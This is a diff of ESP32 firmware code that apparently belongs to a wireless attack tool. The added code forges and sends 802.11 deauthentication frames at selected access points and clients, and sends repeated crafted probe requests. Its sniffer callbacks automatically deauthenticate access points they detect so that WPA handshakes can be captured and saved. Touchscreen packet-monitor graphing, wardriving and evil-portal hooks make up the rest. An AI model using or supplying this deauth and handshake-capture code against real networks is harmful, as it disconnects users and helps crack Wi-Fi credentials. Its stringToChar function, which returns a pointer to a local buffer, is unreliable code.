+        good_probe_req_packet[i] = prob_req_packet[i];
+
+      for(int i = 0; i < 40; i++) 
+        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
+
+      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]) {
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build AP source packet
+  deauth_frame_default[4] = mac[0];
+  deauth_frame_default[5] = mac[1];
+  deauth_frame_default[6] = mac[2];
+  deauth_frame_default[7] = mac[3];
+  deauth_frame_default[8] = mac[4];
+  deauth_frame_default[9] = mac[5];
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+
+  // Build AP dest packet
+  deauth_frame_default[4] = bssid[0];
+  deauth_frame_default[5] = bssid[1];
+  deauth_frame_default[6] = bssid[2];
+  deauth_frame_default[7] = bssid[3];
+  deauth_frame_default[8] = bssid[4];
+  deauth_frame_default[9] = bssid[5];
+  
+  deauth_frame_default[10] = mac[0];
+  deauth_frame_default[11] = mac[1];
+  deauth_frame_default[12] = mac[2];
+  deauth_frame_default[13] = mac[3];
+  deauth_frame_default[14] = mac[4];
+  deauth_frame_default[15] = mac[5];
+
+  deauth_frame_default[16] = mac[0];
+  deauth_frame_default[17] = mac[1];
+  deauth_frame_default[18] = mac[2];
+  deauth_frame_default[19] = mac[3];
+  deauth_frame_default[20] = mac[4];
+  deauth_frame_default[21] = mac[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
+  // Itterate through all access points in list
+  // Check if active
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build packet
+
+  sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+        &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+
+      sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+            &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+      
+      deauth_frame_default[10] = access_points->get(i).bssid[0];
+      deauth_frame_default[11] = access_points->get(i).bssid[1];
+      deauth_frame_default[12] = access_points->get(i).bssid[2];
+      deauth_frame_default[13] = access_points->get(i).bssid[3];
+      deauth_frame_default[14] = access_points->get(i).bssid[4];
+      deauth_frame_default[15] = access_points->get(i).bssid[5];
+
+      deauth_frame_default[16] = access_points->get(i).bssid[0];
+      deauth_frame_default[17] = access_points->get(i).bssid[1];
+      deauth_frame_default[18] = access_points->get(i).bssid[2];
+      deauth_frame_default[19] = access_points->get(i).bssid[3];
+      deauth_frame_default[20] = access_points->get(i).bssid[4];
+      deauth_frame_default[21] = access_points->get(i).bssid[5];      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
+
+void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  #ifdef HAS_SCREEN
+    int buff = display_obj.display_buffer->size();
+  #else
+    int buff = 0;
+  #endif
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_ILI9341
+      if (snifferPacket->payload[0] == 0x80)
+      {
+        num_beacon++;
+      }
+      else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
+      {
+        num_deauth++;
+      }
+      else if (snifferPacket->payload[0] == 0x40)
+      {
+        num_probe++;
+      }
+    #endif
+
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    display_string.concat(addr);
+
+    int temp_len = display_string.length();
+
+    #ifdef HAS_SCREEN
+      for (int i = 0; i < 40 - temp_len; i++)
+      {
+        display_string.concat(" ");
+      }
+    
+      //Serial.print(" ");
+    
+      #ifdef MARAUDER_MINI
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+    #endif
+
+    addPacket(snifferPacket, len);
+  }
+}
+
+void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  #ifdef HAS_SCREEN
+    int buff = display_obj.display_buffer->size();
+  #else
+    int buff = 0;
+  #endif
+
+  // Found beacon frame. Decide whether to deauth
+  if (send_deauth) {
+    if (snifferPacket->payload[0] == 0x80) {    
+      // Build packet
+      
+      wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10];
+      wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11];
+      wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12];
+      wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13];
+      wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14];
+      wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15];
+    
+      wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10];
+      wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11];
+      wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12];
+      wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13];
+      wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14];
+      wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15];      
+    
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false);
+      delay(1);
+    }
+
+
+  }
+
+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    display_string.concat(addr);
+
+    int temp_len = display_string.length();
+
+   #ifdef HAS_SCREEN
+      for (int i = 0; i < 40 - temp_len; i++)
+      {
+        display_string.concat(" ");
+      }
+
+      Serial.print(" ");
+
+      #ifdef MARAUDER_MINI
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+    #else
+      Serial.println(addr);    
+    #endif
+  }
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+  
+  // Found beacon frame. Decide whether to deauth
+
+  if (snifferPacket->payload[0] == 0x80) {   
+
+    // Do target stuff
+    if (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) {
+      bool found = false;
+
+      // Check list of APs
+      for (int i = 0; i < access_points->size(); i++) {
+        if (access_points->get(i).selected) {
+          uint8_t addr[] = {snifferPacket->payload[10],
+                            snifferPacket->payload[11],
+                            snifferPacket->payload[12],
+                            snifferPacket->payload[13],
+                            snifferPacket->payload[14],
+                            snifferPacket->payload[15]};
+          // Compare AP bssid to ssid of recvd packet
+          for (int x = 0; x < 6; x++) {
+            if (addr[x] != access_points->get(i).bssid[x]) {
+              found = false;
+              break;
+            }
+            else
+              found = true;
+          }
+          if (found) {
+            Serial.println("Received beacon from " + access_points->get(i).essid + ". Deauthenticating...");
+            break;
+          }
+        }
+      }
+      if (!found)
+        return;      
+    } // End targeted stuff 
+    // Build packet
+    
+    wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10];
+    wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11];
+    wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12];
+    wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13];
+    wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14];
+    wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15];
+  
+    wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10];
+    wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11];
+    wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12];
+    wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13];
+    wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14];
+    wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15];      
+  
+    // Send packet
+    esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false);
+    delay(1);
+  }
+
+
+
+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+  }
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  if (save_packet) {
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.addPacket(snifferPacket->payload, len);
+    #elif defined(HAS_SD)
+      sd_obj.addPacket(snifferPacket->payload, len);
+    #else
+      return;
+    #endif
+  }
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::eapolMonitorMain(uint32_t currentTime)
+  {
+    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+    
+  
+  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+    {
+      currentTime = millis();
+      do_break = false;
+  
+      y_pos_x = 0;
+      y_pos_y = 0;
+      y_pos_z = 0;
+      boolean pressed = false;
+  
+      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+  
+      // Do the touch stuff
+      pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  
+      if (pressed) {
+        Serial.print("Got touch | X: ");
+        Serial.print(t_x);
+        Serial.print(" Y: ");
+        Serial.println(t_y);
+      }
+  
+  
+      // Check buttons for presses
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (pressed && display_obj.key[b].contains(t_x, t_y))
+        {
+          display_obj.key[b].press(true);
+        } else {
+          display_obj.key[b].press(false);
+        }
+      }
+  
+      // Which buttons pressed
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (display_obj.key[b].justPressed())
+        {
+          Serial.println("Bro, key pressed");
+          //do_break = true;
+        }
+  
+        if (display_obj.key[b].justReleased())
+        {
+          do_break = true;
+  
+          // Channel - button pressed
+          if (b == 4) {
+            if (set_channel > 1) {
+              Serial.println("Shit channel down");
+              set_channel--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+  
+          // Channel + button pressed
+          else if (b == 5) {
+            if (set_channel < MAX_CHANNEL) {
+              Serial.println("Shit channel up");
+              set_channel++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+          else if (b == 6) {
+            Serial.println("Exiting packet monitor...");
+            this->StartScan(WIFI_SCAN_OFF);
+            //display_obj.tft.init();
+            this->orient_display = true;
+            return;
+          }
+        }
+      }
+  
+      if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
+        x_pos += x_scale;
+        initTime = millis();
+        y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+        if (y_pos_x >= HEIGHT_1) {
+          Serial.println("Max EAPOL number reached. Adjusting...");
+          num_eapol = 0;
+        }
+  
+        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+        //Plot "X" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
+  
+        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+        {
+          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+        }
+        else
+        {
+          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+        }
+        if (x_pos < 0) // below x axis
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+        }
+        else
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+        }
+  
+        //tftDisplayTime();
+  
+        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+        {
+          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+        }
+  
+        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
+        //y_pos_y_old = y_pos_y;
+        //y_pos_z_old = y_pos_z;
+  
+        //delay(50);
+      }
+  
+      sd_obj.main();
+  
+    }
+  
+    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+    display_obj.tftDrawChannelScaleButtons(set_channel);
+    display_obj.tftDrawExitScaleButtons();
+    display_obj.tftDrawEapolColorKey();
+    display_obj.tftDrawGraphObjects(x_scale);
+  }
+
+  void WiFiScan::packetMonitorMain(uint32_t currentTime)
+  {
+    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+    
+    
+  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+    {
+      currentTime = millis();
+      do_break = false;
+      
+      y_pos_x = 0;
+      y_pos_y = 0;
+      y_pos_z = 0;
+      boolean pressed = false;
+      
+      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+  
+      // Do the touch stuff
+      pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  
+      if (pressed) {
+        Serial.print("Got touch | X: ");
+        Serial.print(t_x);
+        Serial.print(" Y: ");
+        Serial.println(t_y);
+      }
+  
+  
+      // Check buttons for presses
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (pressed && display_obj.key[b].contains(t_x, t_y))
+        {
+          display_obj.key[b].press(true);
+        } else {
+          display_obj.key[b].press(false);
+        }
+      }
+      
+      // Which buttons pressed
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (display_obj.key[b].justPressed())
+        {
+          Serial.println("Bro, key pressed");
+          //do_break = true;
+        }
+  
+        if (display_obj.key[b].justReleased())
+        {
+          do_break = true;
+          
+          // X - button pressed
+          if (b == 0) {
+            if (x_scale > 1) {
+              x_scale--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              break;
+            }
+          }
+          // X + button pressed
+          else if (b == 1) {
+            if (x_scale < 6) {
+              x_scale++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              break;
+            }
+          }
+  
+          // Y - button pressed
+          else if (b == 2) {
+            if (y_scale > 1) {
+              y_scale--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              //updateMidway();
+              break;
+            }
+          }
+  
+          // Y + button pressed
+          else if (b == 3) {
+            if (y_scale < 9) {
+              y_scale++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              //updateMidway();
+              break;
+            }
+          }
+  
+          // Channel - button pressed
+          else if (b == 4) {
+            if (set_channel > 1) {
+              Serial.println("Shit channel down");
+              set_channel--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+  
+          // Channel + button pressed
+          else if (b == 5) {
+            if (set_channel < MAX_CHANNEL) {
+              Serial.println("Shit channel up");
+              set_channel++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+          else if (b == 6) {
+            Serial.println("Exiting packet monitor...");
+            this->StartScan(WIFI_SCAN_OFF);
+            //display_obj.tft.init();
+            this->orient_display = true;
+            return;
+          }
+        }
+      }
+  
+      if (currentTime - initTime >= GRAPH_REFRESH) {
+        //Serial.println("-----------------------------------------");
+        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
+        x_pos += x_scale;
+        initTime = millis();
+        y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+        y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
+        y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
+  
+        //Serial.println("num_beacon: " + (String)num_beacon);
+        //Serial.println("num_deauth: " + (String)num_deauth);
+        //Serial.println(" num_probe: " + (String)num_probe);
+    
+        num_beacon = 0;
+        num_probe = 0;
+        num_deauth = 0;
+        
+        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+        //Plot "X" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
+        //Plot "Z" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
+        //Plot "Y" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
+        
+        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
+        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+        {
+          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+        }
+        else
+        {
+          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+        }
+        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
+        //if (x_pos <= 90)
+        if (x_pos < 0) // below x axis
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+        }
+        else
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+        }
+        
+        //tftDisplayTime();
+        
+        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+        {
+          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+        }
+         
+        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
+        y_pos_y_old = y_pos_y;
+        y_pos_z_old = y_pos_z;
+    
+        //delay(50);
+      }
+  
+      sd_obj.main();
+     
+    }
+    
+    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+    //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
+    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+    
+    display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
+    display_obj.tftDrawYScaleButtons(y_scale);
+    display_obj.tftDrawChannelScaleButtons(set_channel);
+    display_obj.tftDrawExitScaleButtons();
+    display_obj.tftDrawColorKey();
+    display_obj.tftDrawGraphObjects(x_scale);
+  }
+#endif
+
+//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
+//  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+//  showMetadata(snifferPacket, type);
+//}
+
+void WiFiScan::changeChannel(int chan) {
+  this->set_channel = chan;
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+void WiFiScan::changeChannel()
+{
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+// Function to cycle to the next channel
+void WiFiScan::channelHop()
+{
+  this->set_channel = this->set_channel + 1;
+  if (this->set_channel > 13) {
+    this->set_channel = 1;
+  }
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+char* WiFiScan::stringToChar(String string) {
+  char buf[string.length() + 1] = {};
+  string.toCharArray(buf, string.length() + 1);
+
+  return buf;
+}
+
+
+// Function for updating scan status
+void WiFiScan::main(uint32_t currentTime)
+{
+  // WiFi operations
+  if ((currentScanMode == WIFI_SCAN_PROBE) ||
+  (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
+  (currentScanMode == WIFI_SCAN_SIG_STREN) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+  (currentScanMode == WIFI_SCAN_PWN) ||
+  (currentScanMode == WIFI_SCAN_DEAUTH) ||
+  (currentScanMode == WIFI_SCAN_ALL))
+  {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      channelHop();
+    }
+  }
+  else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      #ifdef HAS_GPS
+        if (gps_obj.getGpsModuleStatus())
+          this->executeWarDrive();
+      #endif
+    }
+  }
+  else if (currentScanMode == WIFI_SCAN_GPS_DATA) {
+    if (currentTime - initTime >= 5000) {
+      this->initTime = millis();
+      this->RunGPSInfo();
+    }
+  }
+  else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) {
+    evil_portal_obj.main(currentScanMode);
+  }
+  else if (currentScanMode == WIFI_PACKET_MONITOR)
+  {
+    #ifdef HAS_SCREEN
+      #ifdef HAS_ILI9341
+        packetMonitorMain(currentTime);
+      #endif
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      #ifdef HAS_ILI9341
+        eapolMonitorMain(currentTime);
+      #endif
+    #endif
+  }
